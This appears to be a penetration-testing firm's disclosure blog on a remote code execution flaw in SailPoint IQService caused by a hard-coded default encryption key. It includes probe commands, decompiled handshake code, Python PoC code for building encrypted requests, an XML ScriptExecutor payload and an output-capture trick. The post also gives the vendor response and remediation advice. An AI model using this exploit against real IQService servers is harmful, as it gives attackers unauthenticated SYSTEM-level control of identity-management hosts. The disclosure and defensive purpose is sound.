During an Internal Network Penetration Test, NetSPI identified a vulnerability affecting a component of SailPoint, a highly privileged Identity and Access Management solution. The affected IQService component is used primarily for syncing changes between Active Directory and SailPoint. This blog walks through the discovery methods, exploit development, and remediation guidance.

Vulnerability Overview

SailPoint IQService before IQService-May-2025 is affected by a Remote Code Execution vulnerability. This is considered to be a configuration issue which impacts servers deployed using the default settings.

When deployed using default settings, the IQService RPC Server:

  • Relies on a hard-coded encryption key to encrypt communications and prevent unauthorized requests
  • Does not enforce user authentication
  • Does not use SSL/TLS

As a result, an attacker who knows the default encryption key can send a crafted request to the service to execute arbitrary code.

At the time of disclosure, the default encryption key (intended for demo and test environments) was contained in a publicly available DLL file. This key should be considered compromised and not trusted for production use.

Discovery

Initial Detection

The first indication of this vulnerability was from a generally innocuous vulnerability scan result: Unknown Service Detection: Banner Retrieval on port 5050/tcp.

Initially, the response looked to be unreadable due to obfuscation or encryption. However, certain patterns could be observed in the response structure:

  • Short base64 string
  • CRLF (\x0d\x0a)
  • Longer base64 string
  • CRLF (\x0d\x0a)

echo 000 | nc 10.1.1.10 5050 | awk '{print length,$0}'

echo 000 | nc 10.1.1.10 5050 | awk '{print length,$0}'
45 sJjfyFX9J1T96hfaSolf7RO7O8Yesw5MATGi9slfSgQ=
301 
LlUVepGTaltU9RCnNTZdXeI9WtaFpRA6zGd4f2DIr/kNKOTmZZsrz1jkHkPz0B0YIZCe7rapsxc++NwKovFh1hEqoXeLcn0MatLOkH6lhE5RIGF+pZDNbETeKoaI[TRUNCATED]
1

We’ll get into why this one returned more data in a moment:

echo C000 | nc 10.1.1.10 5050 | awk '{print length,$0}'

echo C000 | nc 10.1.1.10 5050 | awk '{print length,$0}'
65 5YRkX00nr/4ypYPTkrDi59MZG8WdQdBO+P4GOw4His18PmgCKZnDJJKPrXvJeN3M
493
eEUNSV/9UQ0rLc8Nj0yI8g6SkkwDvS3XAQc95UIn3KOosPgBW2TYVVReafUyW2p9V4/Yxkd2JJOrEsrPn7ca6X8XcmtSJps5gUkbF1cq1CEb8rWfHUsaoz7dzMArsqrWo4RFL[TRUNCATED]
1

This gave some indication that the server was responding in a predictable way, not just returning a random set of binary values. From this point, it was a matter of understanding the target server and environment.

Information we had to work with:

  • Windows server
  • Service listening on 5050/tcp
  • “IAM” contained in target hostname
  • Other servers in the environment with “SAIL” in the hostname

Eventually, searching led to the right target – SailPoint IQService. SailPoint’s description of the service:

IQService is a windows based agent written in .net languages. It leverages APIs provided in Windows environments to provide provisioning services for IdentityIQ’s/ IdentityNow’s Java based technologies.  IQService is installed as a service running on a Windows OS based host. By default it listens on TCP port 5050 for requests from IdentityIQ/Virtual Appliance systems.

At the time of disclosure, the server software was publicly available for download.

Screenshot showing IQService installation instructions

Target acquired! Time to break out the debugger.

Code Analysis

Unzipping the IQService package revealed several EXE and DLL files. Since it was a .NET application, dnSpy was able to open these binaries for a clean view into what our target was doing.

The nature of the base64 strings returned in the server response gave the impression that there was some sort of encryption in use. Searching for “decrypt” led to the Scrambler class in RPCServer.dll:

Screenshot showing RPCServer.dll opened in dnSpy

One of the best features of dnSpy is its Analyze function. This creates a tree view which can help with following the application logic (as well as providing an endless supply of rabbit holes for security researchers).

Screenshot showing dnSpy Analyze function used on the unscramble method

Following this trail finally led to the UUID string:

Screenshot showing dnSpy Analyzer view leading to UUID encryption key

There’s our default key! If no other encryption key was defined, the first 16 bytes would be used by default:

private static byte[] getKeyBytes()
		{
			string s = Util.UUID.Substring(0, 16);
			UTF8Encoding utf8Encoding = new UTF8Encoding();
			return utf8Encoding.GetBytes(s);
		}

However, this alone was not enough to decrypt the traffic from the server. Further analysis revealed that there was a handshake process involved, in which the client and server agreed on encryption methods and a session key.

sailpoint.rpcserver.RpcHandler.readSessionKey() : string @060000B6
	Used By
		sailpoint.rpcserver.RpcHandler.getPayLoad() : string @060000BD
			Used By
				sailpoint.rpcserver.RpcHandler.doHandShake() : void @060000C3
					Used By
						sailpoint.rpcserver.RpcHandler.processRequest() : void @060000AF

Contents of sailpoint.rpcserver.RpcHandler.readSessionKey():

private string readSessionKey()
		{
			byte[] buffer = new byte[1];
			string text = this.ReadFromStream(this._networkStream, buffer, 0, 1);
			string lengthAsString;
			if ("C".Equals(text) || "$".Equals(text))
			{
				this._cipherModeCBC = true;
				byte[] buffer2 = new byte[4];
				lengthAsString = this.ReadFromStream(this._networkStream, buffer2, 0, 4);
			}
			else
			{
				byte[] buffer3 = new byte[3];
				lengthAsString = text + this.ReadFromStream(this._networkStream, buffer3, 0, 3);
			}
			int payloadSize = this.GetPayloadSize(lengthAsString);
			byte[] buffer4 = new byte[payloadSize];
			return this.ReadFromStream(this._networkStream, buffer4, 0, payloadSize);
		}

Payload Header

Analysis of readSessionKey(), getPayLoad(), and PayloadHeader revealed important pieces of the expected RPC packet:

  • If the first byte is C or $, it will use CBC cipher mode.
    • This is why sending messages starting with C to the server resulted in longer responses – longer error messages.
  • The next bytes indicate the length of the encrypted session key.
    • If no other key is defined, the default AES key UUID is used to encrypt the session key.
  • The agreed upon session key is then used to encrypt the PayloadHeader, which follows the format:
    • packetId, version, type, payloadSize

With this information, we can successfully establish an encrypted session with the RPC server! Here is the piece of the PoC code used for generating the header. In order to simplify the encryption/decryption process, it uses the same default key for the Session Key.

# RPC PayloadHeader: packetId, version, type, payloadSize
payload_length = str(len(enc_xml)).zfill(10)
header = f'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, 2.0, rpc, {payload_length}'
header = bytes(header, 'utf-8')

# Same key for both to keep it simple
enc_header = do_encrypt(clear_bytes=header, key=key, iv=iv, label="payload_header")
enc_session_key = do_encrypt(clear_bytes=key, key=key, iv=iv, label="session_key")
enc_key_len = str(len(enc_session_key)).zfill(4)

# Combine everything into the final payload
# Start with 'C' or '$' to indicate CBC
payload_string = f'C{enc_key_len}{enc_session_key}{enc_header}\n{enc_xml}'
log.debug(f'Payload string: {payload_string}')
payload_bytes = bytes(payload_string, 'utf-8')

RPC Request Format

This allowed for initial communication, but caused the server to error out without a valid request body. Analyzing sailpoint.objects.RpcRequest from RPCServer.dll provided information on the expected XML-RPC format:

// sailpoint.objects.RpcRequest
// Token: 0x06000029 RID: 41 RVA: 0x00002444 File Offset: 0x00000644
public override void parseXml(XmlReader reader)
{
	reader.MoveToContent();
	if (reader.Name != "RpcRequest")
	{
		throw new ApplicationException("RpcRequest element not found. Instead found [" + reader.Name + "]");
	}
	string attribute = reader.GetAttribute("service");
	this.Service = attribute;
	string attribute2 = reader.GetAttribute("method");
	this.Method = attribute2;
	string attribute3 = reader.GetAttribute("version");
	this.Version = attribute3;
	string attribute4 = reader.GetAttribute("requestId");
	this.Id = attribute4;
	while (reader.Read())
	{
		XmlNodeType nodeType = reader.NodeType;
		string name = reader.Name;
		if (nodeType == XmlNodeType.Element && name == "Arguments")
		{
			XmlReader xmlReader = XmlUtil.ReadSubtree(reader);
			if (xmlReader != null)
			{
				xmlReader.Read();
				xmlReader.Read();
				Hashtable hashtable = (Hashtable)RpcRequest._xmlFactory.parseObject(xmlReader);
				if (hashtable != null)
				{
					this._arguments = hashtable;
				}
				xmlReader.Close();
			}
		}
	}
}

Available services were listed under sailpoint.services. The ScriptExecutorService was of particular note for anyone aiming to run code on the server:

Screenshot showing dnSpy with the ScriptExecutorService and executePreScript highlighted 

After some further analysis and testing, we created a functional runBeforeScript XML payload:

<RpcRequest method="runBeforeScript" requestId="0000000000000000" service="ScriptExecutor">
    <Arguments>
        <Map>
            <entry key="Application">
                <value>
                    <Attributes/>
                </value>
            </entry>
            <entry key="preScript">
                <value>
                    <Rule key="Rule">
                        <Source>whoami</Source>
                    </Rule>
                </value>
            </entry>
            <entry key="Request">
                <value>
                    <AccountRequest/>
                </value>
            </entry>
        </Map>
    </Arguments>
</RpcRequest>

Watching the IQService server logs as the RPC request was sent, and..… confirmed unauthenticated remote code execution!

02/23/2025 00:18:00 : AbstractConnector [ Thread-13 ] DEBUG : "Script File : C:\IQService_Feb2025\Script_0000000000000000.bat"
02/23/2025 00:18:00 : AbstractConnector [ Thread-13 ] DEBUG : "Return File : C:\IQService_Feb2025\Script_0000000000000000.tmp"
02/23/2025 00:18:00 : AbstractConnector [ Thread-13 ] DEBUG : "Arguments = /C call "C:\IQService_Feb2025\Script_0000000000000000.bat" "C:\IQService_Feb2025\Script_0000000000000000.tmp""
02/23/2025 00:18:00 : AbstractConnector [ Thread-13 ] DEBUG : "Added environment variable : SP_NativeIdentity = "
02/23/2025 00:18:00 : AbstractConnector [ Thread-13 ] DEBUG : "Started process"

C:\IQService_Feb2025>whoami
nt authority\system
02/23/2025 00:18:01 : AbstractConnector [ Thread-13 ] DEBUG : "Script return code : 0"
Animated picture of Luffy cheering as the Going Merry sets sail 

Getting Results

Only one piece was missing: returning the command output. Conveniently, sailpoint.services.AbstractConnector.executePreScript() had a solution available:

string path = Path.GetDirectoryName(Application.ExecutablePath) + "\\Script_" + this._requestID + ".tmp";

newResult.Errors.Add("Before Script returned non-zero exit code : " + text2);
  • The server would normally attempt to write the output received from the API to a file called Script_{requestID}.tmp
  • If the script encountered an error, the RPC response would include the script output.

We can trigger this by redirecting output to that temp file, and intentionally appending &0 to the command. This will work as long as 0.exe is not a valid executable on the target system’s path. The server response now includes:

<RpcResponse version="1.0" requestId="0000000000000000" complete="true">
  <RpcErrors>
    <List>
      <String>Before Script returned non-zero exit code : 1 : nt authority\system</String>
    </List>
  </RpcErrors>

Proof of Concept

After putting it all together, we have a fully functioning RCE script. The Check argument can be used to simply test for successful encryption and decryption without executing further commands.

python3 sailpoint_iqservice_rce.py 10.1.1.10 --check                
2025-02-23 02:01:52 | 165:process_response() | VULNERABLE - 10.1.1.10:5050

python3 sailpoint_iqservice_rce.py 10.1.1.10 -c '.\IQService.exe -v'
>>> .\IQService.exe -v
ServiceName              : IQService-Instance1
Display Name             : SailPoint IQService-Instance1
Configured Port          : 5050
Connection Read Timeout  : 15
Update Interval          : 30
Build version            : IQService-Feb-2025
Build timestamp          : 02/06/2025 03:31 AM -0600
Build location           : master
Build builder            : jenkins
Build Number             : 778
Executable               : C:\IQService_Feb2025\IQService.exe
File Size                : 78520
File Date                : 2/6/2025 3:32:22 AM
Trace Level              : 3 [ debug ]
Connection to port 5050 uses default encryption keys.
Note: SailPoint recommends to configure Client Authentication and TLS Communication between IdentityNow and IQService to appropriately secure the communication with the IQService!

Assembled proof of concept exploit code can be found here: https://github.com/NetSPI/set_sail

Vendor Response

Disclosure Response

Thank you for your submission.
The use of hard-coded compiled-in default encryption keys is provided for ease of deployment in demo and test environments and is not intended for production use. SailPoint customers are advised against using this default configuration in production.
As documented at https://documentation.sailpoint.com/connectors/iqservice/help/integrating_iqservic e_admin/secure_communication.html, the best deployment practice for use of the IQService is to enable TLS communication and Client Authentication between the VA and IQService.
Follow
https://documentation.sailpoint.com/connectors/iqservice/help/common/topics/con figuring_tls_and_client_authentication_for_iqservice.html on how to configure the TLS and client authentication.

SailPoint Remediation Actions

  • Disable script execution when TLS is not configured with IQService.
  • Enforcing installation of IQService on TLS port by default and showing the warning message regarding risks associated with non-TLS configuration.
  • Removed the public access and embed EULA during download of IQService.
  • Guide updated to remove the download link and now users can download it from source UI.

Conclusion

Remediation Guidance

  • Update IQService to the most recent version to ensure the availability and enforcement of security enhancements.
  • Configure TLS communication and Client Authentication between the VA and IQService.
  • Restrict authorized accounts to only those necessary to run the service.
  • Restrict network access to the IQService server using firewall rules.
  • Ensure that IQService is not accessible from the public internet.
  • Understand that many tools are insecure by default. Apply the necessary settings to remove test and debug features.

References

Proof of Concept https://github.com/NetSPI/set_sail